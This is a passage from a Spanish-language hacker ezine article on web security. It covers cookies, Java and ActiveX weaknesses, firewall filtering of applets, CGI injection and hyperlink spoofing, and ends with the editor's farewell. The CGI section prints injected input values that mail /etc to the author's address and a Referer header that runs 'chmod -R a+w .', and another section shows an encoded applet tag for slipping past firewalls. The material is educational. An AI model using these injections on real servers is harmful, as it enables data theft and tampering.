4. Si el cliente vuelve el dia de expiracion del cookie, el explorador
mandaria lo siguiente con la peticion
Cookie: User=Memonix; account=checking
5. El cliente solicita otra pagina y recibe en la respuesta
Set-Cookie: last-deposit=900; path=/accounting
Asi seguiria el proceso ...
Por lo tanto estos cookies permiten a los servidores almacenar una gran
cantidad de informacion sobre los usuarios para fines comerciales en la
mayoria de los casos, tambien se ha de notar que estos son mandados en claro
en ambas direcciones, por lo que varios tipos de ataques pueden afectar al
mecanismo entero desde destruir todos los cookies que se nos envia hasta
sobreescribir valores en estos mismos.
--[7]-- Java
Java como se ha dicho ha introducido muchas mejoras a la hora de diseÒar una
pagina web, pero tambien esta ampliamente demostrado que los applets de Java
pueden llegar a violar la seguridad de una maquina y llegar a ejecutar
codigo arbitrario en ella.
Al leer esto cualquier persona se podria preguntar el porque de hablar de la
seguridad de Java, ya que no es ni mas ni menos que un lenguaje de
programacion mas como pueda serlo C o Pascal, y ante esa posible pregunta se
podria contestar con que Java tiene la capacidad de compilar codigo en
plataformas independientes, cuando se habla del entorno de seguridad de Java
se esta hablando de los controles de acceso de codigo en Java recibido de
un "desconocido", por lo que estos fragmentos de codigo o applets han de ser
ejecutados en un entorno controlado del que no puedan "escapar", a este
entorno se le suele denominar sandbox, lo que no quiere decir que este
sandbox nos vaya a proteger de cualquier fragmento de codigo maligno porque
es incierto.
Dentro de este entorno llamado "sandbox", el desarrollador se encarga de
decidir cuales seran las acciones que los applets pueden desarrollar,
Javasoft se ha encargado de establecer una clasificacion relacionando
entornos de ejecucion con el estado de seguridad.
Mas estricto ----------> Menos estricto
---------------------------------------------------------------------------
NN NL AN AL JS
Read file in /home/me,
acl.read=null no no no si si
Read file in /home/me,
acl.read=/home/me no no si si si
Write file in /tmp,
acl.write=null no no no si si
Write file in /tmp
acl.write=/tmp no no si si si
Get file into,acl.read=null
acl.write=null no no no si si
Get file.into,acl.read=/home/me
acl.write=/tmp no no si si si
Delete file,using File.delete() no no no no si
Delete file,using exec
/usr/bin/rm no no no si si
Read the user.name property no si no si si
Connect to port on the
third host no si no si si
Load library no si no si si
Exit(-1) no no no si si
Create a pop-up window
without a warning no si no si si
Donde :
NN --> Netscape Navigator cargando applets en la red
NL --> Netscape Navigator cargando applets desde el disco local
AN --> Appletviewer JDK cargando applets en la red
AL --> Appletviewer JDK cargando applets desde el disco local
JS --> Java stand-alone aplications
Supuestamente los applets provenientes de la maquina local son mucho mas
seguros o estan mas "autentificados" que los que vienen de la red, pero
para esto los intrusos disponen de ciertas "tecnicas" para engaÒar al
explorador haciendole creer que los applets remotos se encuentran en el
disco local, por lo que a los applets remotos se les concederian los
privilegios reservados para los applets locales.
Pero este no es el unico fallo que podemos encontrar en la implementacion
de la seguridad de Java, por ejemplo un requerimiento que no se cumplia
tal y como era de esperar era que un applet solo fuese capaz de abrir una
conexion TCP con el servidor que lo habia mandado, pero en cambio este podia
abrir una conexion con una maquina cualquiera en Internet por lo que incluso
una maquina detras de un firewall podria ser atacada.
Una parte importante de la seguridad en Java la tiene Classloader, un objeto
especial de Java, donde debemos recordar que los objetos en Java son
llamados clases, siendo este el responsable de convertir el codigo remoto
en estructuras de datos representando a las clases de Java. Donde cualquier
clase cargada desde la red requiere un Classloader, es decir para que una
clase remota sea aÒadida a las clases locales es necesario hacer uso de
Classloader, el cual hace chequeos del codigo remoto antes de cargarlo,
siendo esta parte llamada byte code verifier, encargandose de que el codigo
remoto no contenga :
1. Falsos punteros
2. Que no viole las restricciones de acceso impuestas
3. Que acceda a los objetos por su tipo correcto
4. Que no contenga stack overflows
A su vez Classloader tambien se encarga de dar un nombre para el codigo
descargado comprobando que no hay ninguno con el mismo nombre ya en la
maquina, teniendo mayor prioridad los nombres locales, por lo que las clases
remotas nunca podran sobreescribir nombres locales, como se ve este punto es
bastante interesante ya que puede dar pie a que un atacante capacitado
ataque de alguna manera a la maquina, y de hecho este mecanismo de prioridad
para los nombres tiene algunas fallas.
Otra clase importante es Security Manager la cual es necesaria solo para los
applets remotos, encargandose de dar acceso a los recursos del sistema,
donde las operaciones son clasificadas por su grado de seguridad, donde las
operaciones seguras son permitidas instantaneamente, pero las operaciones no
seguras necesitan que la clase Security Manager decida si es permitida o no,
un ejemplo de como esta clase es consultada para acceder a la llamada del
sistema mkdir es :
--==[Ejemplo 1]==--
Public boolean mkdir(String path)
SecurityManager security = System.getSecurityManager();
if (security != null) {
security.checkWrite(path);
}
return mkdir0();
}
Donde cuando mkdir es llamado, Security Manager se encarga de chequear si
esta llamada es permitida, siendo mkdir0() llamado en caso afirmativo.
Aunque estos metodos parezcan muy eficaces, a la hora de la verdad pueden
fallar ya que no es facil crear unas reglas eficaces y pueden llegar a
ocurrir interacciones entre ellas a la hora de tomar ciertas decisiones.
Tambien es sabido que grupos privados de seguridad informatica han
encontrado varias formas de saltarse los controles de acceso y llegar a
ejecutar codigo arbitrario en la maquina, habiendo sido solo reportadas
estas vulnerabilidades a Sun y Netscape, habiendo sido capaces de generar
codigo que permitia construir una clase Classloader o Security Manager,
usando Classloader para atacar al sistema, siendo la explicacion a grandes
rasgos de la siguiente forma :
1. Asumiendo que las clases A y B se refieren a la clase C, un Classloader
podria resolver A contra la clase C y B contra la clase C'
2. Ahora si un objeto de la clase C es situado en la clase A y pasado como
argumento al metodo de B, el metodo de B trataria al objeto como si fuese
de la clase C' y no C, debido a que el Classloader resolvio B contra la
clase C'
3. En el caso de que C sea una clase protegida y C' sea una clase publica,
el codigo "romperia" el tipo seguro de Java
Por lo que llegado el caso de que un atacante ha sido capaz de romper el
tipo seguro de Java, el atacante tendria pleno control, ya que controlaria
todos los valores de las variables no estaticas, podria llamar a metodos
arbitrarios o llegar a modificar la jerarquia de las clases. Incluso se han
llegado a encontrar nuevas vias de ataque como la utilizacion no solo de un
applet, sino de dos applets a la vez para llegar a romper el tipo seguro de
Java.
Otro tipo de ataques afectan a la manera en que se organizan las clases en
Java, haciendolo el ficheros llamados paquetes, donde el nombre de estos
son identificadores separados por puntos, donde el sistema interno de Java
se encarga de sustituir cada "." por una "/", teniendo la restriccion de que
los paquetes no pueden empezar su nombre por un "." para asegurarse de que
las rutas absolutas nunca son utilizadas, donde si un paquete empieza con un
"/" el sistema resolveria la localizacion como una ruta absoluta, por lo que
si un atacante coloca codigo en cualquier lugar del sistema identificando
su localizacion, este atacante podria hacer que el codigo fuese descargado
como confiable especificando una ruta absoluta, encontradonos con que el
sistema de archivos de Andrew (AFS) puede ser usado por ejemplo para acceder
a los paquetes Java con una ruta absoluta.
Otra forma de conseguir que una maquina ejecutase codigo como confiable
seria haciendo que Netscape Navigator recobrase los ficheros de clases, si
el explorador los almacena en la cache y si el atacante puede determinar
los nombres de los ficheros de clases, puede llegar a conseguir que estos
sean cargados como codigo confiable, encontrando que este tipo de ataque
tiene un porcentaje elevado de tener exito ya que muchos usuarios tienen el
cache de su explorador en directorios conocidos por todo el mundo, a la vez
que para los nombres de los archivos hay un modelo standard.
Aun asi todavia hay ataques mas oscuros con los que nos podemos encontrar,
como es el caso del establecimiento de canales ocultos a la maquina victima
sin que el usuario sepa que su maquina se esta comunicando con el atacante,
donde este canal podria incluso pasar a traves de un firewall si este esta
configurado para dejar pasar el trafico DNS, ademas de que toda la
informacion facilitada al applet llegaria al atacante mediante este canal.
--[8]-- Javascript
Para empezar habria que decir que Java y Javascript son lenguajes bastante
diferentes aunque por el nombre parezca lo contrario, Javascript fue
desarrollado por Netscape para permitir que hubiera codigo dentro de los
documentos HTML, sirviendo para cambiar dinamicamente este documento segun
ciertas condiciones a la vez que es muy util a la hora de definir eventos
segun la entrada proporcionada por el usuario o por la posicion del cursor
en la pantalla.
A simple vista se podria creer que Javascript no tiene el mismo poder que
Java para afectar a los recursos del sistema, pero la realidad nos dice que
puede llegar a ser bastante peligroso, aunque en general los problemas de
seguridad derivados de Javascript no pueden ser explotados directamente,
necesitando la interaccion del usuario aunque esta puede ser tan simple de
conseguir como la eleccion de un simple boton, al generarse una pantalla de
aviso en la pagina con que el usuario seleccionase un boton cualquiera el
ataque tendria lugar.
De una manera general los ataques que pueden llegar a ser causados mediante
Javascript son :
1. Recoleccion de informacion de la victima, como puede ser los sitios
visitados
2. Capacidad de conseguir listar ficheros y directorios de la maquina
victima, con lo que se ganaria informacion muy valiosa sobre esta misma
3. No solo se puede llegar a poder leer archivos de la victima, tambien se
puede conseguir que estos mismos sean enviados al atacante
4. Javascript puede ser usado para atacar a maquinas que tienen bloqueado
el acceso a los applets de Java mediante un firewall, eliminando todas las
etiquetas </applet> de los documentos HTML, donde Javascript puede ser usado
para generar etiquetas </applet> en el codigo fuente, las cuales pasarian
el firewall. Otra forma de hacer esto mismo seria enviando </%41pplet> como
etiqueta lo que seria suficiente para que Javascript lo reconstruyese como
</Applet> en el documento HTML.
Una diferencia importante relativa a la seguridad entre Java y Javascript es
que en Javascript no existen los conceptos de metodos privados y publicos
como si ocurre en Java, por lo que no hay metodos internos que debieran ser
protegidos como en Java mediante la firma de clases, asi que todos los
metodos deben ser protegidos en tiempo de ejecucion.
A su vez en Javascript se pueden aÒadir caracteristicas a los objetos
existentes en tiempo de ejecucion, lo cual no es posible en Java, por tanto
la proteccion que se realiza de una manera automatica en Java no es posible
de aplicar en Javascript, debiendo ser manejada de forma separada.
Se podria decir que la opcion mas segura seria desactivar Javascript en el
explorador, debido a que bloquear estos scripts en el firewall es casi
imposible.
--[9]-- ActiveX
ActiveX, al igual que pasaba con Java, si es firmado como codigo confiable
se ejecutara en la maquina con todos los privilegios necesarios, pudiendo
abrir el camino a trafico no deseado si un atacante logra cambiar las reglas
especificas sobre el contenido de ActiveX.
ActiveX usa un mecanismo para poder llegar a determinar si un cierto
fragmento de codigo es lo suficientemente seguro o no para ejecutarse,
usando para ello la autentificacion criptografica, aunque ni aun asi podemos
estar del todo seguros sobre la fiabilidad de ese codigo, para ello se usan
esquemas de firmas digitales basados en criptografia de llave publica, por
lo tanto en estos procesos de autentificacion hay dos partes implicadas,
el usuario final y el firmante del control, pudiendo este proceso ser
vulnerable a los ataques llamados "third party attacks".
Estos ataques se basan principalmente en el establecimiento de una conexion
no segura con una web cualquiera, donde un control firmado puede ser
reemplazado por un control sin firmar, un control firmado por otra persona o
una version vulnerable de ese mismo control.
Algunos de los peligros mas importantes con los que nos podemos enfrentar al
usar ActiveX son por ejemplo la posibilidad de que nuestro firewall sea
traspasado con total impunidad, muchos firewalls dicen ser capaces de
filtrar todo el contenido relacionado con Java, Javascript y ActiveX, con
tecnicas como las mencionadas anteriormente como eliminar las etiquetas
APPLET, OBJECT o SCRIPT, pero para que esto se llegue a cumplir
verdaderamente si la sintaxis HTML del firewall se comporta de la misma
manera que la del explorador, ya que puede darse el caso de que la forma en
que el explorador codifica la informacion al vuelo no sea entendida por el
firewall.
Algunos ataques interesantes han sido descubiertos por Chaos Computer Club
llegando a demostrar la capacidad de controles ActiveX para buscar una
aplicacion especifica en la maquina de la victima, en este caso una
aplicacion financiera, pudiendo aÒadir a los registros internos de esta
aplicacion pagos que por supuesto son totalmente falsos.
Internamente los controles ActiveX vienen a comprender la tecnologia que
permite descargar y ejecutar controles en un formato soportado por los
mecanismos del sistema para la firma y autentificacion del codigo,
normalmente incluyen :
1. Controles COM, archivos de tipo .dll y .ocx
2. Archivos ejecutables Win32, de tipo .exe
3. Archivos usados para especificar localizaciones y versiones para otro
conjunto de archivos, de tipo .inf
4. Archivos referidos a una etiqueta OBJECT, de tipo .cab
Un elemento importante es IntraApp, este control ActiveX esta autentificado
por un certificado de Verisign, siendo sobre todo usado para trabajar en
intranets, siendo su funcion la de permitir a los usuarios ejecutar
programas arbitrarios en la maquina, donde la lista de programas que pueden
ser ejecutados es almacenada en un archivo de configuracion, el cual es
especificado como una URL en un parametro para el control.
Una caracteristica importante es que ActiveX no autentifica la pagina web en
la que esta situada el control, por lo que los llamados third party attacks
pueden ser facilmente utilizados contra IntraApp, ya que este a su vez es
considerado como seguro por lo que ante ciertas acciones ningun mensaje de
aviso sera mostrado al usuario.
Estos controles tambien pueden contener cualquier error de programacion que
permita a un atacante atacar al sistema, ya que estos controles suelen estar
escritos en C y C++, por lo que son vulnerables a los conocidos buffer
overflow, estando tambien el caso de que si un atacante conoce el nombre de
los parametros usados puede jugar con ellos para intentar provocar un fallo
en el control afectado, un atacante tambien puede determinar la version
exacta de cualquier control lo que le facilita en gran parte el trabajo.
--[10]-- Firewalls vs Applets
El principal problema que nos encontramos es el poder permitir la ejecucion
de applets confiables a la vez que protegernos de applets maliciosos,
centrandonos en este apartado en la problematica que supone Java para los
firewalls.
Java ofrece una manera casi imperceptible de realizar ataques en el lado del
cliente, muchos de estos ataques tienen la forma de un applet de Java el
cual al ser invocado por la maquina del usuario intenta establecer una
conexion telnet con esta misma, yendo algunos applets mas alla cuando el
Security Manager de Java les prohibe el paso al puerto telnet, ya que
intentarian conectarse a otro puerto como ftp con la esperanza de que el
firewall permita esa conexion.
Una importante funcion por parte del firewall es la de localizar las
etiquetas <applet> a la vez que saber cuando ha de bloquearlas o cuando no,
siendo para este proceso muy importante el que el firewall trate el
documento HTML de la misma manera que la hace el explorador, ya que aunque
en la actualidad la mayoria de los exploradores tienen total compenetracion
con Java, un atacante puede encontrar la forma de enviar una etiqueta
<applet> de tal forma que el firewall no tenga notificacion de ello pero el
explorador si, y dada la gran cantidad de formas en que los exploradores
pueden interpretar los elementos HTML esta posibilidad de puede llegar a
producir.
Otra tecnica que se toma en cuenta a la hora de bloquear applets es bloquear
todos los archivos entrantes con la firma CA FE BA BE, ya que como es
requerido por Java Virtual Machine Specification, todos los archivos de
clases de Java empiezan con estos 4 bytes, siendo la estrategia de bloqueo
CA FE BA BE facil de implementar ya que solo necesita comprobar una pequeÒa
porcion del contenido del archivo y aunque este metodo esta sometido a un
pequeÒo porcentaje de falsos positivos, ya que existen archivos que sin ser
archivos de clases pueden empezar con CA FE BA BE, es de gran utilidad.
Otra tecnica que logicamente se usa es el filtrado de los archivos con la
extension .class, aunque podemos encontrarnos con que ultimamente las clases
de Java son encapsuladas en un archivo con extension .zip, por lo que esta
tecnica no es del todo segura, aunque esto se resolveria de una forma tan
simple como desempaquetar dicho archivo y mirar si contiene la firma
CA FE BA BE.
--[11]-- Cgi Scripts
Los Common Gateway Interface son usados para interactuar con el usuario de
una forma dinamica, suponiendo un gran avance en el campo de la WWW, siendo
capaces de enviar argumentos a los programas y de recibir valores de estos.
Cuando estos cgi scripts se ejecutan, lo hacen con el UID que tiene
establecido el servidor web, por lo que si un cgi cualquiera tiene un fallo
el cual permite a un agresor ejecutar ciertos programas, estos lo haran
bajo el UID del servidor web, asi que correr bajo root se puede ver que es
una mala idea.
El flujo de entrada que se traspasa a un script es un conjunto de variables
de entorno, donde el servidor cogeria esa entrada para procesarla.
Un listado de las variables de entorno que son utilizadas en todo el proceso
son :
GATEWAY_INTERFACE
SERVER_NAME
SERVER_SOFTWARE
AUTH_TYPE
CONTENT_LENGTH
CONTENT_TYPE
PATH_INFO
PATH_TRANSLATED
QUERY_STRING
REMOTE_ADDR
REMOTE_HOST
REMOTE_IDENT
REMOTE_USER
REQUEST_METHOD
SCRIPT_NAME
SERVER_PORT
SERVER_PROTOCOL
HTTP_ACCEPT
HTTP_USER_AGENT
HTTP_REFERER
HTTP_<whatever>
Un ejemplo de lo que podria intentar un atacante para violar la seguridad de
un script, seria introducir comandos en la entrada del script o pasando
caracteres de escape para que fuesen manejados por el motor del script.
Si nos encontramos por ejemplo con un script escrito en algun lenguaje shell
pueden empezar los problemas, una demostracion.
--==[Ejemplo 1]==--
grep $INPUT_VAR_1 $INPUT_VAR_2
Aqui aparentemente no vemos nada de lo que un atacante se puede aprovechar.
Pero si el agresor tiene en cuenta por ejemplo el caracter ";" las cosas
pueden cambiar de la siguiente manera :
INPUT_VAR_1="foo"
INPUT_VAR_2="/dev/null tar cf - /etc|mail memonix@bigfoot.com"
Suponiendo que la linea de comandos lo evaluase de la siguiente forma
grep foo /dev/null ; tar cf - /etc | mail memonix@bigfoot.com
Es entonces cuando somos conscientes del peligro al que podemos estar
expuestos. Por lo que podemos comprobar que es preferible evitar los
caracteres de escape en los flujos de entrada, pudiendose solucionar de una
forma como la siguiente :
$CLEAN_INPUT=`unescape "$DIRTY_INPUT"`
Tambien nos debemos de cuidar de las variables estandar como por ejemplo
$HTTP_REFERER, porque un script que incluya algo como
if [ $HTTP_REFERER ] ...
puede ser vulnerable a una peticion HTTP que comienze tal que asi
GET /foo/bar/baz.cgi HTTP/1.0
Referer:"`chmod -R a+w .`"
...
donde el comando chmod seria ejecutado dentro del comando if como una
subshell haciendo al directorio escribible por cualquiera.
Muchos de estos peligros pueden ser solucionados por los mensajes de error
en Perl "Insecure dependency" o "Insecure PATH", debido a las fuertes
restricciones que impone este lenguaje, pudiendo con el escribir scripts
relativamente seguros ya que tiene en cuenta que las variables de entrada
pueden ser peligrosas tratandolas de una manera especial, a la vez que
tambien tiene en cuenta los peligros que conllevan las caracteristicas
setuid y setgid, dando una alternativa segura al uso de estos pudiendo
hacer que los peligros derivados de las races conditions desaparezcan.
Otras caracteristicas seguras que encontramos en Perl son el uso de
"compartimentos" o espacios protegidos de ejecucion, el uso de operadores
seguros, etc.
Tcl es otro lenguaje que incorpora interesantes caracteristicas de
programacion segura, como el anteriormente citado uso de espacios protegidos
de ejecucion, la utilizacion de un interprete esclavo sin ningun tipo de
poder como la lectura o escritura de archivos, el uso de un interprete
seguro que modifica la entrada proporcionada por el usuario pasandose la
modificacion de esta a un interprete inseguro, etc.
En cuanto a Python las caracteristicas a resaltar son que usa restricciones
de ejecucion que prohiben modificar el sistema de archivos o ejecutar
programas arbitrarios.
--[12]-- Hyperlink Spoofing
Este tipo de ataques afecta a la autentificacion de SSL, teniendo su base en
los llamados ataques "man-in-the-middle" donde un atacante puede conseguir
que un explorador conecte con un falso servidor, aparentando estar haciendo
uso de una conexion segura, siendo el usuario susceptible a una gran
variedad de ataques como la revelacion de informacion privada y sensible,
la descarga de programas troyanizados, etc.
El atacante se esta aprovechando en la forma en que el explorador usa los
certificados digitales para asegurar las conexiones, pudiendo ser posible
que este tipo de ataque pudiera extenderse no solo a SSL sino tambien a SET.
El problema reside en que muchos usuarios a la hora de solicitar establecer
una conexion con una pagina web, no usan para ello la URL o el nombre DNS,
sino que usan para ello hyperlinks, donde SSL no verifica o no verificaba
el hyperlink seleccionado por el usuario, uniendo esto a la posibilidad de
DNS Spoofing hacen que una pagina cualquiera pueda "engaÒarnos". Por lo
tanto ambos tipos de spoofing vienen a tener el mismo efecto, tanto DNS
Spoofing como Hyperlink Spoofing, con la salvedad de que las tecnicas de
Hyperlink Spoofing son mucho mas faciles de llevar a cabo.
Un simple ejemplo :
<A HREF=https://www.pepe.net/>Enlace a Fabricas Pepe</A>
En este caso solo bastaria que dicha pagina fuese similar a la verdadera,
con lo que la posible victima no se daria cuenta del engaÒo, pudiendo ser
engaÒada para facilitar datos sensibles como datos personales, numeros de
tarjetas de credito, etc.
Como se ve es una autentica tonteria pero suele suceder mas de lo que se
puede llegar a pensar. El explorador en todo momento informaria al usuario
de que la conexion es segura, pero el ataque de spoofing ya habria tenido
lugar.
Ademas en un ataque con bastantes posibilidades de llegar a buen puerto el
atacante no debe de ser tan minucioso con la URL que desea establecer para
llevar a cabo el ataque. Direcciones de ejemplo que podrian servir para
engaÒar a un gran numero de personas con pocos conocimientos podrian ser :
https://www.xyz.net/pepe
https://191.23.158.9/pepe
--[13]-- Conclusion
Como se ha podido ver a lo largo de todos los apartados de este articulo,
cualquier usuario ha de estar en todo momento alerta al igual que todo buen
administrador de un servidor web, ya que la WWW es un medio muy hostil,
donde cualquiera esta expuesto a una gran variedad de ataques, los cuales
pueden ser provocados por minucias como pueden ser la seleccion de un
determinado icono de una pagina web o la activacion de un determinado
componente en nuestro explorador del cual poco sabemos mas que sirve para
permitirnos ver todo tipo de animaciones e imagenes.
Por tanto cuando arranquemos nuestro explorador hemos de saber que estamos
entrando en zona enemiga, puede parecer bastante paranoico, pero teniendo en
cuenta la gran cantidad de personas que pueden causarnos algun tipo de daÒo,
no lo es, la paranoia es una virtud.
<memonix@bigfoot.com>
"La historia nos contempla, el futuro nos espera"
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
=-[ 0x18 ]-==================================================================
=-[ NetSearch Ezine #6 ]-====================================================
=-[ Despedida ]-=============================================================
=-[ por Editor ]-============================================================
Bueno, otra vez mas aqui acaba este numero de NetSearch Ezine. Como siempre
ha sido un placer realizarlo, esperamos que os haya gustado ;).
Aunque personalmente estoy muy satisfecho de este NS #6, me pasa lo de
siempre, y es como si hubiera algo que no me terminara de convencer.. Me
imagino que eso siempre pasara, pero al menos sirve para algo, para que nos
sigamos esforzando en superarnos numero a numero. Y es que eso es lo
importante, las ganas de seguir adelante, y os aseguro que a nosotros no nos
faltan ;).
Ahora la pregunta de siempre.. NS #7 para cuando?.. Mm.. veamos, si todo sale
bien estara terminada para finales de Octubre. Para entonces muchas cosas
habran pasado; el verano, la campus, las con's.. Menos mal que para eso aun
falta, y tenemos todo el verano por delante para disfrutar.. Asi que ya
sabeis, tened cuidado con el sol y esas cosas ;).
Feliz verano y hasta pronto.
Nos vemos en NetSearch Ezine #7.
El Editor
0x00